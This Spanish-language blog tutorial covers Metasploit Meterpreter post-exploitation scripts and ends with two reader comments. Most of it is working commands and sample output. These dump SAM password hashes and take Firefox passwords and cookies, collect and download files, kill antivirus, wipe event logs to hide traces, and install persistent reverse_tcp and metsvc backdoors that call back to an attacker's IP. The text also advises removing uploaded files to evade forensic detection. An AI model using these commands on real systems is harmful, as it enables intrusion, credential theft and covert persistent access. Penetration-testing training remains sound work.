METERPRETER SCRIPTS
Los scripts meterpreter son rutinas que se pueden ejecutar desde el interprete y permite ejecutar acciones personalizadas y especificas sobre el objetivo, son utilizados para automatizar tareas y agilizar actividades, los scripts disponibles se ejecutan por medio del comando run, algunos scripts útiles son:
arp_scanner
Permite localizar otras maquinas que se encuentran en el segmento de red o que tienen conexión con la maquina comprometida, así es posible encontrar direcciones IP y MAC de las maquinas a las que tiene acceso el objetivo, un escenario típico de esto, es el acceso desde internet hacia una intranet, por ejemplo:
Suponiendo que un pentester ha comprometido una maquina que tiene 2 interfaces de red, una de las cuales esta dedicada a la conexión a internet y la otra esta dedicada a la conexión en intranet, dado que el pentester tiene acceso a dicha maquina, fácilmente puede identificar dichas interfaces de red y posteriormente realizar el escaneo de las maquinas en el segmento de red de la intranet por medio de peticiones ARP del siguiente modo:
meterpreter > run arp_scanner -h Meterpreter Script for performing an ARPS Scan Discovery.OPTIONS:-h Help menu. -i Enumerate Local Interfaces -r <opt> The target address range or CIDR identifier -s Save found IP Addresses to logs. meterpreter > run arp_scanner -i [*] Enumerating Interfaces [*] National Semiconductor DP83815-Based PCI Fast Ethernet Adapter – Packet Scheduler Miniport [*] 192.168.1.34 [*] 255.255.255.0 [*] meterpreter > run arp_scanner -r 192.168.1.1/24 [*] ARP Scanning 192.168.1.1/24 [*] IP: 192.168.1.1 MAC 64:68:c:45:71:88 [*] IP: 192.168.1.33 MAC 4c:f:6e:e9:7f:16 [*] IP: 192.168.1.34 MAC 0:d:9d:82:cc:69 [*] IP: 192.168.1.35 MAC 0:1c:bf:5a:2a:25 |
checkvm:
Verifica si el objetivo se encuentra ejecutándose en una maquina virtual o en una física:
meterpreter > run checkvm [*] Checking if target is a Virtual Machine ….. [*] It appears to be physical host. |
credcollect:
Con este comando se obtiene el listado de hashes que se encuentran almacenados en la base de datos SAM del objetivo:
meterpreter > run credcollect [+] Collecting hashes…Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0Extracted: ASPNET:f398e05bcb3020ceff92d55aff8ce62c:86ceb0fb2a9e29524943fed3ef434477 ……… |
enum_firefox:
Con este script se puede saber si en la maquina objetivo se encuentra instalado FireFox y de ser así, el comando intentará descargar toda la información almacenada en dicho navegador, objetos tales como cookies, contraseñas guardadas, historial de navegación, etc.
meterpreter > run enum_firefox [*] Firefox was found on this system. [*] Extracting Firefox data for user Owner [*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownercert8.db’ [*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerkey3.db’ [*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownersignons.sqlite’ [*] Downloading Firefox Database file cookies.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownercookies.sqlite’ [*] Downloading Firefox Database file formhistory.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerformhistory.sqlite’ [*] Downloading Firefox Database file places.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerplaces.sqlite’ [*] Downloading Firefox Database file places.sqlite-journal to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerplaces.sqlite-journal’ [*] Downloading Firefox Database file search.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownersearch.sqlite’ [*] Getting Firefox Bookmarks for Owner [*] Saving to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_bookmarks.txt [*] Getting list of Downloads using Firefox made by Owner [*] Saving Download list to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_download_list.txt [*] Getting Firefox URL History for Owner [*] Saving URL History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_history.txt [*] Getting Firefox Form History for Owner [*] Saving Firefox Form History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_form_history.txt [*] Getting Firefox Search History for Owner [*] Saving Firefox Search History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_search_history.txt [*] It appears that Search History has been cleared [*] Getting Firefox Cookies for Owner |
Puede ser interesante extraer los datos los usuarios y contraseñas allí almacenados, para esto se utiliza del programa FirePassword, el procedimiento es el siguiente:
1. Descargar el programa (.exec)
2. Navegar desde Meterpreter al directorio donde se ha descargado o se encuentra almacenado el programa con el uso de los comandos getlwd y lcd (estos comandos permiten consultar el directorio actual (local) y cambiar la ruta de directorio actual (local)
3. Posteriormente hacer uso del comando upload de Meterpreter y subir el fichero ejecutable a la maquina remota.
4. Ahora ejecutar el comando shell para abrir una consola en el sistema remoto y ejecutar el programa FirePassword en la maquina remota, con esto, el programa dará un listado de las rutas de navegación empleadas y sus correspondientes credenciales en texto plano (en el caso de que se encuentren almacenadas en el navegador).
get_application_list
Obtiene un listado con las aplicaciones que se encuentran instaladas en el sistema comprometido junto con el número de versión asociado a ellas:
meterpreter > run get_application_list Installed Applications======================Name Version —- ——- 7-Zip 4.65 Conexant 56K ACLink Modem Open Command Prompt Shell Extension (x86-32) 2.0.1.0 …….. |
enum_logged_on_users
Permite obtener información sobre los usuarios que se encuentran actualmente logeados en el sistema:
meterpreter > run enum_logged_on_users -c Current Logged Users====================SID User — —- S-1-5-19 Local Service S-1-5-20 Network Service S-1-5-21-1004336348-1957994488-842925246-1003 Owner S-1-5-21-1004336348-1957994488-842925246-1005 S-1-5-18 SYSTEM |
get_env
Retorna las variables de entorno de la victima, permitiéndo conocer las características físicas de la maquina objetivo y las variables de entorno utilizadas como referencias para el software instalado en el objetivo, se trata un script muy útil para realizar actividades de post-explotacion de un sistema, específicamente para recopilar información sobre la maquina comprometida.
scraper
Permite recolectar información sobre el sistema y almacenarla en el sistema local, la información recolectada incluye, recursos compartidos en red, passwords, entradas del registro, etc. toda esta información es descargada y posteriormente es útil para apoyar al proceso de post-explotacion del sistema con el fin de afianzar el conocimiento sobre la misma.
meterpreter > run scraper [*] New session on 192.168.1.34:31337… [*] Gathering basic system information… [*] Dumping password hashes… [*] Obtaining the entire registry… [*] Exporting HKCU [*] Downloading HKCU (C:\DOCUME~1\Owner\LOCALS~1\Temp\vXPnWyUV.reg) [*] Cleaning HKCU [*] Exporting HKLM [*] Downloading HKLM (C:\DOCUME~1\Owner\LOCALS~1\Temp\yeglhdIM.reg) [*] Cleaning HKLM [*] Exporting HKCC [*] Downloading HKCC (C:\DOCUME~1\Owner\LOCALS~1\Temp\ydknHdsv.reg) [*] Cleaning HKCC [*] Exporting HKCR [*] Downloading HKCR (C:\DOCUME~1\Owner\LOCALS~1\Temp\aOduEHXB.reg) [*] Cleaning HKCR [*] Exporting HKU [*] Downloading HKU (C:\DOCUME~1\Owner\LOCALS~1\Temp\wGFcKQnj.reg) [*] Cleaning HKU [*] Completed processing on 192.168.1.34:31337… |
winenum
Se trata de un script que retorna toda la información posible sobre el sistema objetivo, mezclando algunos de los scripts anteriormente mencionados al igual que otros comandos útiles del framework y finalmente con esta información, generar un reporte consolidado sobre todos los datos relevantes al sistema, por lo tanto es altamente recomendado su uso en un proceso de post-explotacion de un sistema.
meterpreter > run winenum -h WinEnum — Windows local enumerationRetrieves all kinds of information about the systemincluding environment variables, network interfaces, routing, user accounts, and much more. Results are stored in /root/.msf3/logs/scripts/winenum OPTIONS: -c Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog -h Help menu. -m Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything -r Dump, compress and download entire Registry meterpreter > run winenum [*] Running Windows Local Enumerion Meterpreter Script [*] New session on 192.168.1.34:31337… [*] Saving general report to /root/.msf3/logs/scripts/winenum/OWNER_20110314.2422/OWNER_20110314.2422.txt [*] Output of each individual command is saved to /root/.msf3/logs/scripts/winenum/OWNER_20110314.2422 [*] Checking if OWNER is a Virtual Machine …….. [*] UAC is Disabled [*] Running Command List … [*] running command cmd.exe /c set [*] running command ipconfig /all ………………. |
prefetchtool
Permite obtener información sobre los programas que han sido frecuentemente utilizados en el sistema comprometido, reportando las fechas de acceso y creación de cada uno de los programas encontrados, este script se vale de un ejecutable que debe estar incluido en el framework, en el caso de que no se encuentre, se intentará descargar de internet automáticamente, por lo tanto para uso es necesario tener conexión a internet(si se cuenta con el fichero prefetch.exe en el directorio de metasploit) este fichero es instalado en el directorio <msf_install_directory>/data/prefetch.exe
meterpreter > run prefetchtool -h [*] Prefetch-tool Meterpreter ScriptOPTIONS:-c Disable SHA1/MD5 checksum -h Help menu. -i Perform lookup for software name -l Download Prefetch Folder Analysis Log -p List Installed Programs -x <opt> Top x Accessed Executables (Based on Prefetch folder) meterpreter > run prefetchtool -x 3 -c [*] No local copy of prefetch.exe, downloading from the internet… [*] Downloaded prefetch.exe to /opt/metasploit3/msf3/data/prefetch.exe [*] Running Prefetch-tool script… [*] Uploading Prefetch-tool for analyzing Prefetch folder… [*] Prefetch-tool uploaded as C:\DOCUME~1\Owner\LOCALS~1\Temp\18337.exe [*] OUT> Analyzing 120 of 121 files [*] OUT> Analyzing 121 of 121 files [*] OUT> [*] OUT> * Top 3 Used Executables (Based on Prefetch Folder) * [*] OUT> (1) Filename: avgcmgr.exe [*] OUT> Num of Times Run: 222 times [*] OUT> Last Run: Wed Mar 09 20:39:51 2011 [*] OUT> (2) Filename: wuauclt.exe [*] OUT> Num of Times Run: 109 times [*] OUT> Last Run: Sun Mar 13 01:58:22 2011 [*] OUT> (3) Filename: postgres.exe [*] OUT> Num of Times Run: 104 times [*] OUT> Last Run: Tue Mar 08 22:07:50 2011 [*] Deleting 64162.exe from target… [*] Clearing prefetch-tool prefetch entry … [*] [*] Saving prefetch logs to /root/.msf3/logs/prefetch/192.168.1.34-20110314.4236.log… [*] [*] Deleting log file from target… |
getcountermeasure
Este script permite obtener información sobre los sistemas de seguridad implementados en el objetivo, tales como AV y reglas de Firewall, y si es posible intenta matar el proceso.
meterpreter > run getcountermeasure [*] Running Getcountermeasure on the target…[*] Checking for contermeasures…[*] Getting Windows Built in Firewall configuration… [*] [*] Domain profile configuration: [*] ——————————————————————- [*] Operational mode = Enable [*] Exception mode = Enable [*] [*] Standard profile configuration (current): [*] ——————————————————————- [*] Operational mode = Disable [*] Exception mode = Enable [*] [*] Local Area Connection firewall configuration: [*] ——————————————————————- [*] Operational mode = Enable [*] [*] Checking DEP Support Policy… [*] DEP is limited to Windows system binaries. |
clearev
Se trata de una utilidad muy interesante que permite eliminar todos los log registrados en los ficheros de eventos de la maquina comprometida, de esta forma es posible ocultar las trazas de las acciones llevadas a cabo y que muy probablemente han quedado monitorizadas.
En un sistema basado en Windows, la herramienta para ver los log se encuentra ubicada en Configuración → Herramientas Administrativas → Event Viewer
Una vez ejecutado el script es posible ver como dicha aplicación ya no contiene ninguna entrada relacionada con actividades efectuadas en el sistema, dejando solamente una traza que indica que el sistema ha realizado una auditoria automática de forma exitosa.
meterpreter > clearev [*] Wiping 874 records from Application…[*] Wiping 2076 records from System…[*] Wiping 0 records from Security… meterpreter> |
file_collector
Se trata de un script que permite buscar determinados patrones de ficheros en un directorio determinado, de esta forma se pueden encontrar todos los ficheros con un nombre y/o extensión indicada en los parámetros del comando.
meterpreter > run file_collector Meterpreter Script for searching and downloading files thatmatch a specific pattern. First save files to a file, edit anduse that same file to download the choosen files. OPTIONS: -d <opt> Directory to start search on, search will be recursive. -f <opt> Search blobs separated by a |. -h Help menu. -i <opt> Input file with list of files to download, one per line. -l <opt> Location where to save the files. -o <opt> Output File to save the full path of files found. -r Search subdirectories. |
Las opciones obligatorias son -d y -f para especificar el directorio de búsqueda y el filtro respectivamente, el siguiente ejemplo, busca todos los certificados almacenados en la partición C del disco duro, al igual que cualquier fichero con extensión .exploit
meterpreter > run file_collector -d C:\\ -f .cer|.exploit -r [*] Searching for *.cer[*] C:\141381ad8e9662ef875b54bf39\x86\setup\sql_engine_core_inst_msi\pfiles\sqlservr\mssql.x\mssql\install\gdryknrt.cer (517 bytes)[*] C:\Documents and Settings\Owner\Desktop\mycertificate.cer (745 bytes) [*] C:\Program Files\Adobe\Reader 10.0\Reader\pmd.cer (420 bytes) [*] C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc6.cer (784 bytes) [*] C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc8.cer (740 bytes) |
Como puede apreciarse, se han encontrado algunos certificados de usuario y son listados en el resultado, aunque no se haya encontrado nada sobre el otro filtro de búsqueda indicado.
Otra opción interesante es -o que nos permite especificar un fichero de salida, donde podremos almacenar los resultados del comando, Sin embargo no se queda aquí, también podemos obtener dichos ficheros y almacenarlos en local con el uso de la opción -l
meterpreter > run file_collector -l /opt/metasploit3/msf3/stoled/ -i /opt/metasploit3/msf3/stoled/files_stoled [*] Reading file /opt/metasploit3/msf3/stoled/files_stoled[*] Downloading to /opt/metasploit3/msf3/stoled/[*] Downloading C:\141381ad8e9662ef875b54bf39\x86\setup\sql_engine_core_inst_msi\pfiles\sqlservr\mssql.x\mssql\install\gdryknrt.cer [*] Downloading C:\Documents and Settings\Owner\Desktop\mycertificate.cer [*] Downloading C:\Program Files\Adobe\Reader 10.0\Reader\pmd.cer [*] Downloading C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc6.cer [*] Downloading C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc8.cer |
persistence
Una vez explotado un sistema, una puerta persistente que nos permita conectarnos en cualquier momento a nuestro objetivo sin necesidad de explotarlo nuevamente es algo deseable, para realizar esta tarea existen algunas otras formas que implican la modificación del registro de windows de forma manual, en este caso vamos a hacer uso de uno de los payloads que existen en una sesión meterpreter para instalar el servicio.
Nota: No especificamos ningún valor para autenticación, lo que significa que cualquier usuario en la maquina remota, eventualmente intentara realizar una conexión a la puerta trasera, esto puede ser un riesgo de seguridad alto, por lo tanto se recomienda tener precaución y limpiar cualquier registro (huella) una vez se ha terminado de realizar las tareas correspondientes.
meterpreter > run persistence -h Meterpreter Script for creating a persistent backdoor on a target host.OPTIONS:-A Automatically start a matching multi/handler to connect to the agent -L <opt> Location in target host where to write payload to, if none %TEMP% will be used. -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp. -S Automatically start the agent on boot as a service (with SYSTEM privileges) -T <opt> Alternate executable template to use -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i <opt> The interval in seconds between each connection attempt -p <opt> The port on the remote host where Metasploit is listening -r <opt> The IP of the system running Metasploit listening for the connect back meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.33 [*] Running Persistance Script [*] Resource file for cleanup created at /root/.msf3/logs/persistence/OWNER_20110307.1848/OWNER_20110307.1848.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 [*] Persistent agent script is 610514 bytes long [+] Persisten Script written to C:\WINDOWS\TEMP\cJYeLTeHhKhX.vbs [*] Executing script C:\WINDOWS\TEMP\cJYeLTeHhKhX.vbs [+] Agent executed with PID 2840 [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DfctDISwu [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DfctDISwu |
Ahora se puede reiniciar la maquina comprometida, con el fin de iniciar el proceso recién creado, esto se puede hacer con el comando reboot y una vez el usuario inicie sesión nuevamente, se iniciará la conexión hacia la maquina del atacante, por lo tanto, dicha maquina debe tener el exploit preparado con un PAYLOAD adecuado, tal como reverse_tcp, reverse_http, reverse_https o metsvc_bind_tcp
metsrv
Otra forma de mantener el acceso a un objetivo, es por medio del establecimiento de una puerta trasera, es posible definir una puerta trasera por medio del uso de la extensión metsvc de meterpreter, de esta forma se puede acceder posteriormente al cliente sin necesidad de esperar nuevamente a que la maquina comprometida establezca la conexión.
Una vez obtenida la sesión meterpreter es necesario buscar el proceso explorer, (en donde se intentará establecer la puerta trasera) aunque no necesariamente tiene que ser este proceso en particular ya que se puede ejecutar el comando sobre cualquier identificador de proceso valido, se indica el proceso «explorer» ya que es uno de los procesos mas importantes del sistema operativo:
meterpreter > ps Process list============PID Name Arch Session User Path — —- —- ——- —- —- 0 [System Process] 4 System x86 0 NT AUTHORITY\SYSTEM 476 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe …. meterpreter > migrate 244 [*] Migrating to 244… [*] Migration completed successfully. |
Una vez realizado el proceso de migración es posible ejecutar el comando
meterpreter > run metsvc [*] Creating a meterpreter service on port 31337[*] Creating a temporary installation directory C:\DOCUME~1\Owner\LOCALS~1\Temp\lZBdswMe…[*] >> Uploading metsrv.dll… [*] >> Uploading metsvc-server.exe… [*] >> Uploading metsvc.exe… [*] Starting the service… * Installing service metsvc * Starting service Service metsvc successfully installed. |
Si ya existe una puerta trasera instalada es posible eliminarla con la opción -r.
Ahora que esta establecida la puerta trasera, es posible iniciar en cualquier momento un puente reverso hacia la maquina del atacante de forma automática, así es posible usar el exploit multi/handler que permitirá realizar estas acciones, adicionalmente, se define un PAYLOAD que realizará la conexión inmediatamente entre las dos maquinas:
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcp msf exploit(handler) > set RHOST 192.168.1.34 RHOST => 192.168.1.34 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > exploit [*] Starting the payload handler… [*] Started bind handler [*] Meterpreter session 4 opened (192.168.1.33:38034 -> 192.168.1.34:31337) at Sun Mar 06 21:53:51 +0100 2011 meterpreter > |
NOTA: Aunque se puede eliminar esta puerta trasera, en realidad lo que hace la opción -r es eliminar las entradas en el registro de la maquina remota pero los ficheros cargados a la misma, NO SE ELIMINAN, por esta razón es importante realizar el borrado de las librerías (.dll) y los ficheros ejecutables (.exe) de forma manual, para evitar dejar rastros que posiblemente sean fácilmente detectables por un software de auditoria o un proceso forense, ademas de esto también es necesario finalizar cualquier proceso que se encuentre en ejecución y que dependa de dichos ficheros.
Muy bueno el Blog!
Consulta, como hago para que el Handler que esperando la concurrente, con la automatizacion de los pasos? Como dejo, el script de Ruby, esperando la comunicacion. De esta manera, no tengo que estar esperando la llamada….
Muchas gracias!
Me gustaMe gusta
Perdona, pero la redacción de tu pregunta me resulta muy confusa, supongo que lo que quieres preguntar es sobre el tema de la recepción de nuevas peticiones por parte de nuevas víctimas, cuando una nueva conexión hacia el Handler iniciado en Metasploit es establecida, se crea una nueva sesión «meterpreter» (suponiendo que sea este el «payload» utilizado y no una consola raw), en tales casos se genera un mensaje de notificación sobre el evento producido, pero puedes seguir ejecutando cualquier comando/script desde la consola meterpreter que estes utilizando en ese momento, luego si quieres cambiar de sesión meterpreter, utilizas el comando «background» y luego el comando sessions para visualizar/interactuar con cualquiera de las sesiones que estan establecidas entre la victima y la instancia de metasploit.
Me gustaMe gusta